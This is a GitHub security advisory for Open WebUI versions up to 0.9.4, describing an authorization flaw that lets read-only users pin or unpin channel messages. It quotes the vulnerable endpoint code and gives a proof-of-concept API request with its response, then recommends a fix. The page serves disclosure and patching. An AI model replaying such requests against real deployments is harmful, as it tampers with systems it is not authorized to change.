GHSA-5GC6-XHV4-2WG6
Vulnerability from github – Published: 2026-05-14 20:25 – Updated: 2026-05-15 23:54Summary
Pin/Unpin is a write operation (modifies the message's is_pinned, pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.
Details
https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218
@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])
async def pin_channel_message(
request: Request,
id: str,
message_id: str,
form_data: PinMessageForm,
user=Depends(get_verified_user),
db: Session = Depends(get_session),
):
check_channels_access(request)
channel = Channels.get_channel_by_id(id, db=db)
if not channel:
raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)
if channel.type in ['group', 'dm']:
if not Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
The channel_has_access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:
def channel_has_access(
user_id: str,
channel: ChannelModel,
permission: str = 'read', # 'read' or 'write'
strict: bool = True,
db: Optional[Session] = None,
) -> bool:
if AccessGrants.has_access(
user_id=user_id,
resource_type='channel',
resource_id=channel.id,
permission=permission,
db=db,
):
return True
# ...
The AccessGrant table distinguishes between read and write permission levels.
PoC
admin creates Standard Channel with Read-Only Access for test1 :
POST /api/v1/channels/create
Authorization:
Content-Type: application/json
{
"name": "pin-test-standard",
"access_grants": [
{
"principal_type": "user",
"principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
"permission": "read"
}
]
}
admin posts a Message in the Channel, and test1 has read permission only.
test1 attempts to Pin Message:
POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1_token>
Content-Type: application/json
{
"is_pinned": true
}
{
"id": "4797359b-aad5-4081-9617-e8ca58524a87",
"user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
"is_pinned": true,
"pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
"pinned_at": 1774716314908288719,
"content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}
Successfully pinned admin's message. pinned_by records test1's user ID.
test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.
Impact
Read-only users can pin irrelevant messages, disrupting important information display in the channel .
Recommended Fix
Change the Pin endpoint's permission check from read to write .
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45386"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:25:58Z",
"nvd_published_at": "2026-05-15T21:16:37Z",
"severity": "MODERATE"
},
"details": "### Summary\n`Pin/Unpin` is a write operation (modifies the message\u0027s `is_pinned `, `pinned_by`, `pinned_at` fields), but in standard channels it only checks `read` permission, allowing users with read-only access to pin/unpin any message.\n\n### Details\nhttps://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218\n\n```\n@router.post(\u0027/{id}/messages/{message_id}/pin\u0027, response_model=Optional[MessageUserResponse])\nasync def pin_channel_message(\n request: Request,\n id: str,\n message_id: str,\n form_data: PinMessageForm,\n user=Depends(get_verified_user),\n db: Session = Depends(get_session),\n):\n check_channels_access(request)\n channel = Channels.get_channel_by_id(id, db=db)\n if not channel:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)\n\n if channel.type in [\u0027group\u0027, \u0027dm\u0027]:\n if not Channels.is_user_channel_member(channel.id, user.id, db=db):\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n else:\n if user.role != \u0027admin\u0027 and not channel_has_access(user.id, channel, permission=\u0027read\u0027, db=db):\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())\n```\n\nThe `channel_has_access` function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the `AccessGrants` table:\n\n```\ndef channel_has_access(\n user_id: str,\n channel: ChannelModel,\n permission: str = \u0027read\u0027, # \u0027read\u0027 or \u0027write\u0027\n strict: bool = True,\n db: Optional[Session] = None,\n) -\u003e bool:\n if AccessGrants.has_access(\n user_id=user_id,\n resource_type=\u0027channel\u0027,\n resource_id=channel.id,\n permission=permission,\n db=db,\n ):\n return True\n # ...\n```\n\nThe `AccessGrant` table distinguishes between `read` and `write` permission levels.\n\n### PoC\n`admin` creates Standard Channel with Read-Only Access for `test1` :\n\n```\nPOST /api/v1/channels/create\nAuthorization: \nContent-Type: application/json\n\n{\n \"name\": \"pin-test-standard\",\n \"access_grants\": [\n {\n \"principal_type\": \"user\",\n \"principal_id\": \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n \"permission\": \"read\"\n }\n ]\n}\n```\n\n`admin` posts a Message in the Channel, and `test1` has `read` permission only.\n\u003cimg width=\"1024\" height=\"423\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e9912bd7-3908-44f2-8984-22d0535dc66f\" /\u003e\n\n`test1` attempts to Pin Message:\n\n```\nPOST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin\nAuthorization: Bearer \u003ctest1_token\u003e\nContent-Type: application/json\n\n{\n \"is_pinned\": true\n}\n```\n\n```\n{\n \"id\": \"4797359b-aad5-4081-9617-e8ca58524a87\",\n \"user_id\": \"28c859b7-84e2-4217-b4d7-3f0e43f7c4b9\",\n \"is_pinned\": true,\n \"pinned_by\": \"cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c\",\n \"pinned_at\": 1774716314908288719,\n \"content\": \"Admin announcement in standard channel - test1 should NOT be able to pin this\"\n}\n```\n\nSuccessfully pinned admin\u0027s message. `pinned_by` records test1\u0027s user ID.\n\u003cimg width=\"1024\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/705b1f45-95a9-4e91-8a74-10bdbccde0b8\" /\u003e\n\n `test1` (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks `read` permission, allowing read-only users to pin/unpin any message.\n\n### Impact\nRead-only users can pin irrelevant messages, disrupting important information display in the channel .\n\n### Recommended Fix\nChange the Pin endpoint\u0027s permission check from `read` to `write` .",
"id": "GHSA-5gc6-xhv4-2wg6",
"modified": "2026-05-15T23:54:18Z",
"published": "2026-05-14T20:25:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-5gc6-xhv4-2wg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45386"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.